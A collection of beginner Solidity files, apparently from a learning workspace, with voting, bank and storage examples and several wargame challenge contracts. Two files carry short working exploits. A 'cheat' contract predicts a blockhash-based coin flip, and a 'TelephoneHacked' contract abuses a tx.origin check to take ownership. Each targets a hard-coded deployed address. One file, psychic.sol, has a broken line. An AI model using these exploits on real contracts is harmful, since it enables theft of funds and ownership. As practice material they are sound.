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ballot.sol

pragma solidity >=0.4.22 <0.6.0;
contract Ballot {

    struct Voter {
        uint weight;
        bool voted;
        uint8 vote;
        address delegate;
    }
    struct Proposal {
        uint voteCount;
    }

    address chairperson;
    mapping(address => Voter) voters;
    Proposal[] proposals;

    /// Create a new ballot with $(_numProposals) different proposals.
    constructor(uint8 _numProposals) public {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;
        proposals.length = _numProposals;
    }

    /// Give $(toVoter) the right to vote on this ballot.
    /// May only be called by $(chairperson).
    function giveRightToVote(address toVoter) public {
        if (msg.sender != chairperson || voters[toVoter].voted) return;
        voters[toVoter].weight = 1;
    }

    /// Delegate your vote to the voter $(to).
    function delegate(address to) public {
        Voter storage sender = voters[msg.sender]; // assigns reference
        if (sender.voted) return;
        while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender)
            to = voters[to].delegate;
        if (to == msg.sender) return;
        sender.voted = true;
        sender.delegate = to;
        Voter storage delegateTo = voters[to];
        if (delegateTo.voted)
            proposals[delegateTo.vote].voteCount += sender.weight;
        else
            delegateTo.weight += sender.weight;
    }

    /// Give a single vote to proposal $(toProposal).
    function vote(uint8 toProposal) public {
        Voter storage sender = voters[msg.sender];
        if (sender.voted || toProposal >= proposals.length) return;
        sender.voted = true;
        sender.vote = toProposal;
        proposals[toProposal].voteCount += sender.weight;
    }

    function winningProposal() public view returns (uint8 _winningProposal) {
        uint256 winningVoteCount = 0;
        for (uint8 prop = 0; prop < proposals.length; prop++)
            if (proposals[prop].voteCount > winningVoteCount) {
                winningVoteCount = proposals[prop].voteCount;
                _winningProposal = prop;
            }
    }
}

ballot_test.sol

import "remix_tests.sol"; // this import is automatically injected by Remix.
import "./ballot.sol";

contract test3 {
   
    Ballot ballotToTest;
    function beforeAll () public {
       ballotToTest = new Ballot(2);
    }
    
    function checkWinningProposal () public {
        ballotToTest.vote(1);
        Assert.equal(ballotToTest.winningProposal(), uint(1), "1 should be the winning proposal");
    }
    
    function checkWinninProposalWithReturnValue () public view returns (bool) {
        return ballotToTest.winningProposal() == 1;
    }
}

bollat.sol

pragma solidity >=0.4.22 <0.7.0;

/// @title Voting with delegation.
contract Ballot {
    // This declares a new complex type which will
    // be used for variables later.
    // It will represent a single voter.
    struct Voter {
        uint weight; // weight is accumulated by delegation
        bool voted;  // if true, that person already voted
        address delegate; // person delegated to
        uint vote;   // index of the voted proposal
    }

    // This is a type for a single proposal.
    struct Proposal {
        bytes32 name;   // short name (up to 32 bytes)
        uint voteCount; // number of accumulated votes
    }

    address public chairperson;

    // This declares a state variable that
    // stores a `Voter` struct for each possible address.
    mapping(address => Voter) public voters;

    // A dynamically-sized array of `Proposal` structs.
    Proposal[] public proposals;

    /// Create a new ballot to choose one of `proposalNames`.
    constructor(bytes32[] memory proposalNames) public {
        chairperson = msg.sender;
        voters[chairperson].weight = 1;

        // For each of the provided proposal names,
        // create a new proposal object and add it
        // to the end of the array.
        for (uint i = 0; i < proposalNames.length; i++) {
            // `Proposal({...})` creates a temporary
            // Proposal object and `proposals.push(...)`
            // appends it to the end of `proposals`.
            proposals.push(Proposal({
                name: proposalNames[i],
                voteCount: 0
            }));
        }
    }

    // Give `voter` the right to vote on this ballot.
    // May only be called by `chairperson`.
    function giveRightToVote(address voter) public {
        // If the first argument of `require` evaluates
        // to `false`, execution terminates and all
        // changes to the state and to Ether balances
        // are reverted.
        // This used to consume all gas in old EVM versions, but
        // not anymore.
        // It is often a good idea to use `require` to check if
        // functions are called correctly.
        // As a second argument, you can also provide an
        // explanation about what went wrong.
        require(
            msg.sender == chairperson,
            "Only chairperson can give right to vote."
        );
        require(
            !voters[voter].voted,
            "The voter already voted."
        );
        require(voters[voter].weight == 0);
        voters[voter].weight = 1;
    }

    /// Delegate your vote to the voter `to`.
    function delegate(address to) public {
        // assigns reference
        Voter storage sender = voters[msg.sender];
        require(!sender.voted, "You already voted.");

        require(to != msg.sender, "Self-delegation is disallowed.");

        // Forward the delegation as long as
        // `to` also delegated.
        // In general, such loops are very dangerous,
        // because if they run too long, they might
        // need more gas than is available in a block.
        // In this case, the delegation will not be executed,
        // but in other situations, such loops might
        // cause a contract to get "stuck" completely.
        while (voters[to].delegate != address(0)) {
            to = voters[to].delegate;

            // We found a loop in the delegation, not allowed.
            require(to != msg.sender, "Found loop in delegation.");
        }

        // Since `sender` is a reference, this
        // modifies `voters[msg.sender].voted`
        sender.voted = true;
        sender.delegate = to;
        Voter storage delegate_ = voters[to];
        if (delegate_.voted) {
            // If the delegate already voted,
            // directly add to the number of votes
            proposals[delegate_.vote].voteCount += sender.weight;
        } else {
            // If the delegate did not vote yet,
            // add to her weight.
            delegate_.weight += sender.weight;
        }
    }

    /// Give your vote (including votes delegated to you)
    /// to proposal `proposals[proposal].name`.
    function vote(uint proposal) public {
        Voter storage sender = voters[msg.sender];
        require(sender.weight != 0, "Has no right to vote");
        require(!sender.voted, "Already voted.");
        sender.voted = true;
        sender.vote = proposal;

        // If `proposal` is out of the range of the array,
        // this will throw automatically and revert all
        // changes.
        proposals[proposal].voteCount += sender.weight;
    }

    /// @dev Computes the winning proposal taking all
    /// previous votes into account.
    function winningProposal() public view
            returns (uint winningProposal_)
    {
        uint winningVoteCount = 0;
        for (uint p = 0; p < proposals.length; p++) {
            if (proposals[p].voteCount > winningVoteCount) {
                winningVoteCount = proposals[p].voteCount;
                winningProposal_ = p;
            }
        }
    }

    // Calls winningProposal() function to get the index
    // of the winner contained in the proposals array and then
    // returns the name of the winner
    function winnerName() public view
            returns (bytes32 winnerName_)
    {
        winnerName_ = proposals[winningProposal()].name;
    }
}

coinFlip.sol

pragma solidity 0.5.1;

contract Ownable {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}

contract CoinFlip2 {
    
    CoinFlip public flipper;
    
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
    bool public side;
    uint256 lastHash;
    constructor () public {
        flipper = CoinFlip(0xc1d7706Cb3b56F220f5787A0304416e682cA670d);
    }
    
    function cheat() public payable returns (bool){
        uint256 blockValue = uint256(blockhash(block.number-1));
        uint256 coinFlip = blockValue / FACTOR;
        
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;
        bool side = coinFlip == 1 ? true : false;
        
        bool result = flipper.flip.value(0.1 ether)(side);
        return result;
    }
}

contract CoinFlip is Ownable {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public payable returns (bool) {
        require(msg.value == 0.1 ether);
        // 5422659
        // 11521333652733857159075632517656588917111386083253262382612334676764411250951
        // 57896044618658097711785492504343953926634992332820282019728792003956564819968
        uint256 blockValue = uint256(blockhash(block.number-1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }

    function win() public {
        require(consecutiveWins >= 10);
        consecutiveWins = 0;
        owner = msg.sender;
        msg.sender.transfer(1 ether);
    }
}

fallback.sol

pragma solidity 0.5.1;

contract Ownable {
    address payable public owner;

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}

contract Fallback is Ownable {
    mapping(address => uint) public contributions;

    constructor() public {
        contributions[msg.sender] = 1000 * (1 ether);
    }

    function() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if(contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function withdraw() public onlyOwner {
        owner.transfer(address(this).balance);
    }

    function getContribution() public view returns (uint) {
        return contributions[msg.sender];
    }
}

faucet.sol

pragma solidity >=0.4.22 < 0.6.0;

contract Faucet {
    
    //address public sender = msg.sender; // contract maker
    mapping (address => uint) myMap;
    event Address(address h);
    
    constructor() public{
        //msg.sender.transfer(1);
    }
    
    function () external payable{ // Fallback function
    }
    
    function withdraw(uint amount) public{
        
        require(amount <= 1 ether);
        require(myMap[msg.sender] + amount <= 3 ether); // msg.sender who called this function
        myMap[msg.sender] += amount;
        msg.sender.transfer(amount);
    }
    
    function getSender() public view returns (address){
        return msg.sender;
    }
    
}

helloworld.sol

pragma solidity >=0.4.22 < 0.6.0;

contract Helloworld{
    function myFirstHelloWorld() public pure returns (string memory, string memory){
        return ('Hello world !', 'Do not');
    }
}

myFirstcontract.sol

pragma solidity >=0.4.22 < 0.6.0;

contract MyFirstContract{
    bytes32 private name;
    uint private age;
    
    function setName (bytes32 newName) public{
        name = newName;
    }
    
    function getName() public view returns (bytes32 ){
        return name;
    }
    
}

numberLoop.sol

pragma solidity >=0.4.22 < 0.6.0;

contract NumberLoop{
    uint number;
    string str1 = "";
    string str2;
    uint8 [] test = [1, 2, 3];
    bytes32 [3] test2;
    
    
    constructor() public {
        number = 100;
    }
    
    function myFirstLoop() public returns (uint){
        for(uint i = 0; i < 10; i++){
            number += i;
        }
        return number;
    }
    
    function setNumber() public {
        
        uint number2 = number;
        uint8 [3] memory test3 = [4, 5, 7];
        test = test3;
        
        test3[2] = 4;
        number2 += 1;
        
        
    }
    
    function getNumber() public view returns (uint8 [] memory, uint){
        
        return (test, number);
    }
    
}

psychic.sol

pragma solidity 0.5.1;

contract Ownable {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}

contract CoinFlip is Ownable {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() public {
        consecutiveWins = 0;
    }
    
    address target;
    function input(address _target) public {
        target = _target;
    }

    function flip(bool _guess) public payable returns (bool) {
        require(msg.value == 0.1 ether);
        // 5422659
        // 11521333652733857159075632517656588917111386083253262382612334676764411250951
        // 57896044618658097711785492504343953926634992332820282019728792003956564819968
        uint256 blockValue = uint256(blockhash(block.number-1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        oinFlip(target).flip(side);
    }

    function win() public {
        require(consecutiveWins >= 10);
        consecutiveWins = 0;
        owner = msg.sender;
        msg.sender.transfer(1 ether);
    }
}

simple_storage.sol

pragma solidity >=0.4.21 < 0.6.0;

contract SimpleStore {
  struct Item {
    uint price;
    uint units; 
  }
  
  Item[] public items;

  function newItem(uint _price, uint _units)
  public
  {
    Item memory item = Item(_price, _units);
    items.push(item);
  }

  function getUsingStorage(uint _itemIdx)
  public
  // set to non-view to estimate gas
  // view
  returns (uint)
  {
    Item storage item = items[_itemIdx];
    return item.units;
  }

  function getUsingMemory(uint _itemIdx)
  public
  // set to non-view to estimate gas
  // view
  returns (uint)
  {
    Item memory item = items[_itemIdx];
    return item.units;
  }

  function addItemUsingStorage(uint _itemIdx, uint _units)
  public
  {
    Item storage item = items[_itemIdx];
    item.units += _units;
  }

  function addItemUsingMemory(uint _itemIdx, uint _units)
  public
  // set to non-view to estimate gas
  // view
  {
    Item memory item = items[_itemIdx];
    item.units += _units;
  }

}

simpleBank.sol

pragma solidity >=0.4.22 < 0.6.0;

contract Ownerable {
    // event
    event OwnerLogger(address);
    address public owner;
    
    constructor() public{
        owner = msg.sender;
        emit OwnerLogger(msg.sender);
    }
    
    modifier onlyOwner{
        require(msg.sender == owner);
        _;
    }
    
}

contract SimpleBank is Ownerable{
    
    event EnrollLog(address);
    event DepositLog(address, uint);
    event WithdrawLog(address, uint, uint);
    event SendLog(address, address, uint, uint);
    //address public sender = msg.sender; // contract maker
    mapping (address => uint) private balance;
    mapping (address => bool) private accounts;
    address [] private account_list;
        
    constructor () public {
        account_list.push(owner);
        accounts[owner] = true;
    }
    
    modifier onlyUser{
        require(accounts[msg.sender]);
        _;
    }
    
    function enroll(address target) public onlyOwner{
        require(!accounts[target]);
        accounts[target] = true;
        account_list.push(target);
        emit EnrollLog(target);
    }
    
    function deposit() public onlyUser payable{
        
        balance[msg.sender] += msg.value;
        
        // Emit log and return balance
        emit DepositLog(msg.sender, msg.value);
        
    }
    
    function withdraw(uint amount) public onlyUser returns (uint){
        require(balance[msg.sender] >= amount);
        
        balance[msg.sender] -= amount;
        uint remains = balance[msg.sender];
        
        // Emit log and send balance 
        emit WithdrawLog(msg.sender, amount, remains);
        msg.sender.transfer(amount);
        
        return balance[msg.sender];
    }
    
    function send(address addr, uint amount) public onlyUser{
        require(accounts[addr]
                && balance[msg.sender] >= amount);
        
        // withdraw amount from sender and increase receiver's balance
        balance[msg.sender] -= amount;
        balance[addr] += amount;
        
        // emit log
        emit SendLog(msg.sender, addr, amount, balance[msg.sender]);
        
    }
    
    // return memory(volatile) type 
    function getAccounts() public view onlyOwner returns (address[] memory){
        return account_list;
    }
    
    function getBalance() public onlyUser view returns (uint){
        return balance[msg.sender];
    }
}

telephone.sol

pragma solidity 0.5.1;

contract Ownable {
    address public owner;

    constructor() public {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(owner == msg.sender);
        _;
    }
}

contract TelephoneHacked {
    
    Telephone telephone;
    
    constructor () public{
        telephone = Telephone(0xD06585B654F9DB33Bb90AAC962f015D295E01468);
    }
    
    function message() public {
        telephone.changeOwner(msg.sender);
    }
}

contract Telephone is Ownable{
    constructor() public {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

test.sol

pragma solidity >=0.4.22 < 0.6.0;

contract NumberLoop{
    uint number;
    string str1 = "";
    string str2;
    uint8 [] test = [1, 2, 3];
    bytes32 [3] test2;
    
    
    constructor() public {
        number = 100;
    }
    
    function myFirstLoop() public returns (uint){
        for(uint i = 0; i < 10; i++){
            number += i;
        }
        return number;
    }
    
    function setNumber() public {
        
        uint number2 = number;
        uint8 [3] memory test3 = [4, 5, 7];
        test = test3;
        
        test3[2] = 4;
        number2 += 1;
        
        
    }
    
    function getNumber() public view returns (uint8 [] memory, uint){
        
        return (test, number);
    }
    
}

Vote.sol

pragma solidity ^0.5.1;

contract Vote{
    
    // structure
    struct candidate{
        string name;
        uint upVote;
    }
    // variable
    candidate [] public candidatorList;
    
    // mapping
    
    // event
    event AddCandidate(string name);
    
    
    // modifier
    
    // constructor
    
    // candidate
    function addCandidate(string memory _name) public {
        require(candidatorList.length < 5);
        candidatorList.push(candidate(_name, 0));    
    
        // emit event (add candidate and announce it)
        emit AddCandidate(_name);
    }
    // voting
    function Voting() public {
        
        
    }
    // finish vote
    function finishVote() public {
        
    
    }
    
}